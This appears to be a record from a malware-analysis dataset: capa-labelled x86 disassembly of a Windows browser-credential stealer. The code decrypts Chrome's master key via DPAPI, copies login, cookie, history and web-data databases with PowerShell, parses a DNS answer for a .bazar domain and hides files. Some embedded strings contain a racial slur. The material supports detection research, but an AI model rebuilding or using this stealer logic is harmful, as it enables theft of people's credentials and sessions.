joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40335d
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov dword [ebp - 0x10], 3
mov dword [ebp - 0xc], 0
jmp 0x403400
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x41f18c]
mov dword [esp + 4], str._Command_dir
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4033fc
mov eax, dword [ebp - 0xc]
mov edx, dword [eax*8 + 0x41f188]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x41f18c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_files_s_
lea eax, [ebp - 0xae]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0xae]
mov dword [esp + 4], eax
mov dword [esp], str.Copy_command:__s_n
call sym._printf_1
lea eax, [ebp - 0xae]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jb 0x403379
mov eax, 0
leave
ret

Function at 0x4034d9
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_files_s_
lea eax, [ebp - 0xa2]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0xa2]
mov dword [esp + 4], eax
mov dword [esp], str.Copy_command:__s_n
call sym._printf_1
lea eax, [ebp - 0xa2]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403541
mov eax, 0
jmp 0x403546
mov eax, 1
leave
ret
Function at 0x4035b1
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x118]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1c
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], str.LOOKING_FOR_FILE:__s__n
call sym._printf_2
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40367a
mov eax, 0
jmp 0x403725
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x11c], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x14], eax
je 0x403712
mov dword [esp], 0x4235bf
call sym._printf_2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x4037b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x2a], 0x636e6522
mov dword [ebp - 0x26], 0x74707972
mov dword [ebp - 0x22], 0x6b5f6465
mov dword [ebp - 0x1e], 0x3a227965
mov word [ebp - 0x1a], 0x22
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0xc], 0
jne 0x403812
mov eax, 0
jmp 0x4038b9
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Encrpyted_string_start_at_0x_p_buffer_start_at_0x_p__n
call sym._printf_2
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._strlen
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov dword [esp + 4], 0x22
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403863
mov eax, 0
jmp 0x4038b9
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str.Encrpyted_data_size_is__d_n
call sym._printf_2
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strncpy
mov eax, dword [ebp - 0x14]
leave
ret
Function at 0x4038bb
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.base64_size_needed_is__d._n
call sym._printf_2
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
add dword [ebp - 0x10], 5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4039ec
mov dword [esp], str.Decrypting_the_key_failed._n
call sym._printf_2
mov eax, dword [ebp - 0x2c]
shl eax, 2
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0xc], 0
jmp 0x403a4d
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sx_02x
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._sprintf_2
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc], eax
jb 0x403a1d
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str.Decrypted_Key:__s__n
call sym._printf_2
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x403ad9
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.pass_str:__s_n
call sym._printf_3
mov dword [ebp - 0xc], 0xc8
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__s___s_
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._sprintf_3
lea eax, [ebp - 0x204]
mov dword [esp + 4], eax
mov dword [esp], str.temp_var_str:__s_n
call sym._printf_3
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x403b54
mov eax, 0
jmp 0x403b59
mov eax, 1
leave
ret

Function at 0x403e39
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncat
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sProfiles
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x403f5a
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.gecko
mov dword [esp + 0xc], 0x444ba0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_
lea eax, [ebp - 0xd4]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0xd4]
mov dword [esp + 4], eax
mov dword [esp], str.________COOPY_DST:__s_n
call sym._printf_4
lea eax, [ebp - 0xd4]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403fcb
mov eax, 0
jmp 0x403fd0
mov eax, 1
leave
ret
Function at 0x404f59
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 0x1b6], 0x6d6f432d
mov dword [ebp - 0x1b2], 0x646e616d
mov dword [ebp - 0x1ae], 0x69642020
mov word [ebp - 0x1aa], 0x72
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sLocal_State
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1b6]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404fd1
mov eax, 1
jmp 0x40509f
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._GetChromeKey
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x404ffe
mov dword [esp], str.Key_returned_null
call sym._puts
mov eax, 1
jmp 0x40509f
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.chrome
mov dword [esp + 8], 0x444c20
mov dword [esp + 4], str._s_s_s_local_state
lea eax, [ebp - 0x21a]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x21a]
mov dword [esp + 4], eax
mov dword [esp], str.Writing_master_key_to:__s_n
call sym._printf_5
mov dword [esp + 4], 0x4242bb
lea eax, [ebp - 0x21a]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fputs
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str.Returned_write_check:__d
call sym._printf_5
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0x18], 0
je 0x40509a
mov eax, 1
jmp 0x40509f
mov eax, 0
leave
ret

Function at 0x4050a1
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0x1ad], 0x6d6f432d
mov dword [ebp - 0x1a9], 0x646e616d
mov dword [ebp - 0x1a5], 0x72696420
mov byte [ebp - 0x1a1], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sLogin_Data
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1ad]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40511b
mov eax, 1
jmp 0x40518b
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x444c20
lea eax, [ebp - 0x1a0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell___cp__s__s_s_s_login_data_db_
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x211]
mov dword [esp + 4], eax
mov dword [esp], str.Sys_command:__s_n
call sym._printf_5
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405186
mov eax, 1
jmp 0x40518b
mov eax, 0
leave
ret
Function at 0x40518d
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.WEB_HISTORY_BROWSER_NAME:__s_n
call sym._printf_5
mov dword [ebp - 0x1ad], 0x6d6f432d
mov dword [ebp - 0x1a9], 0x646e616d
mov dword [ebp - 0x1a5], 0x72696420
mov byte [ebp - 0x1a1], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sHistory
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1ad]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40521a
mov eax, 1
jmp 0x40528a
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x444c20
lea eax, [ebp - 0x1a0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_webhistory_db_
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x211]
mov dword [esp + 4], eax
mov dword [esp], str.Sys_command:__s_n
call sym._printf_5
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405285
mov eax, 1
jmp 0x40528a
mov eax, 0
leave
ret

Function at 0x40528c
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0x1ad], 0x6d6f432d
mov dword [ebp - 0x1a9], 0x646e616d
mov dword [ebp - 0x1a5], 0x72696420
mov byte [ebp - 0x1a1], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sHistory
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1ad]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405306
mov eax, 1
jmp 0x405376
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x444c20
lea eax, [ebp - 0x1a0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_downloads_db_
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x211]
mov dword [esp + 4], eax
mov dword [esp], str.Sys_command:__s_n
call sym._printf_5
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405371
mov eax, 1
jmp 0x405376
mov eax, 0
leave
ret
Function at 0x405378
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0x1ad], 0x6d6f432d
mov dword [ebp - 0x1a9], 0x646e616d
mov dword [ebp - 0x1a5], 0x72696420
mov byte [ebp - 0x1a1], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sNetworkCookies
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1ad]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4053f2
mov eax, 1
jmp 0x405462
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x444c20
lea eax, [ebp - 0x1a0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_cookies_db_
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x211]
mov dword [esp + 4], eax
mov dword [esp], str.Sys_command:__s_n
call sym._printf_5
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40545d
mov eax, 1
jmp 0x405462
mov eax, 0
leave
ret

Function at 0x405464
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0x1ad], 0x6d6f432d
mov dword [ebp - 0x1a9], 0x646e616d
mov dword [ebp - 0x1a5], 0x72696420
mov byte [ebp - 0x1a1], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sWeb_Data
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1ad]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4054de
mov eax, 1
jmp 0x40554e
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x444c20
lea eax, [ebp - 0x1a0]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_web_data_db_
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x211]
mov dword [esp + 4], eax
mov dword [esp], str.Sys_command:__s_n
call sym._printf_5
lea eax, [ebp - 0x211]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405549
mov eax, 1
jmp 0x40554e
mov eax, 0
leave
ret
Function at 0x405efb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp], 0xfa0
call sym._malloc
mov dword [ebp - 0xc], eax
mov dword [esp + 4], str._Status_:0__TC_:false__RD_:true__RA_:true__AD_:false__CD_:false__Question_:__name_:_jstash.bazar.___type_:1___Answer_:__name_:_jstash.bazar.___type_:1__TTL_:3600__Expires_:_Thu__18_Jul_2024_15:38:59_UTC___data_:_fAJ_S2Nld0l_WA____edns_client_subnet_:_204.188.233.0_0_
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], str.Answer
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x405f79
mov dword [esp], str.Glow_nigger_not_there__nigger
call sym._printf_7
mov dword [ebp - 0x2e], 0x44206f4e
mov dword [ebp - 0x2a], 0x7220534e
mov dword [ebp - 0x26], 0x6c6f7365
mov dword [ebp - 0x22], 0x2c646576
mov dword [ebp - 0x1e], 0x61764920
mov word [ebp - 0x1a], 0x6e
mov eax, 0
jmp 0x40601d
mov dword [esp], str.Theres_a_glowie__n
call sym._printf_7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.win32op.exe_cJSON_Parse_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Badoodo_mongo:__s_n
call sym._printf_7
cmp dword [ebp - 0x10], 0
jne 0x405feb
call sym.win32op.exe_cJSON_GetErrorPtr_0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x405fd0
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str.Error_nigger:__s_n
call sym._printf_7
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.win32op.exe_cJSON_Delete_4
sub esp, 4
jmp 0x40601d
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._extractNestedFields_
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.win32op.exe_cJSON_Delete_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.IN_DNS_RESOLVER_decoded_1:__s_n
call sym._printf_7
mov eax, dword [ebp - 0x14]
leave
ret

Function at 0x406ef5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x43c0a2
call sym._printf_10
mov dword [esp + 4], 0x43c0a6
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret
Function at 0x406f74
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 1
jne 0x406fd7
mov dword [ebp - 0x18], 0xa2
mov dword [esp], 0x4bf0
call sym._malloc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x406fcd
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + 0x41f5c0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strcat
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jl 0x406fb0
jmp 0x407046
cmp dword [ebp + 8], 2
jne 0x407023
mov dword [ebp - 0x18], 0x743
mov dword [esp], 0x36768
call sym._malloc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0
jmp 0x407019
mov eax, dword [ebp - 0x14]
mov eax, dword [eax*4 + 0x41f860]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strcat
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jl 0x406ffc
jmp 0x407046
cmp dword [ebp + 8], 3
jne 0x407037
mov dword [esp], str.Noddy
call sym._puts
jmp 0x407046
mov dword [ebp - 0x1c], str.Pass_an_int_between_1_and_3
mov eax, dword [ebp - 0x1c]
jmp 0x407102
mov dword [esp], str.twatter_make_a_fadoong_n
call sym._puts
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._creator_func
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], str.BADONGLE_A_MUG:__d_n
call sym._printf_10
cmp dword [ebp - 0x24], 0
je 0x407097
mov dword [esp], str.Create_batch_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Set_ItemProperty__Path__s__Name_Attributes__Value___System.IO.FileAttributes_::Hidden_
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf_8
lea eax, [ebp - 0x21c]
mov dword [esp + 4], eax
mov dword [esp], 0x43c0a2
call sym._printf_10
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], 0
je 0x4070ff
mov dword [esp], str.Set_attribute_of_file_to_hidden
call sym._puts
mov eax, dword [ebp + 0xc]
leave
ret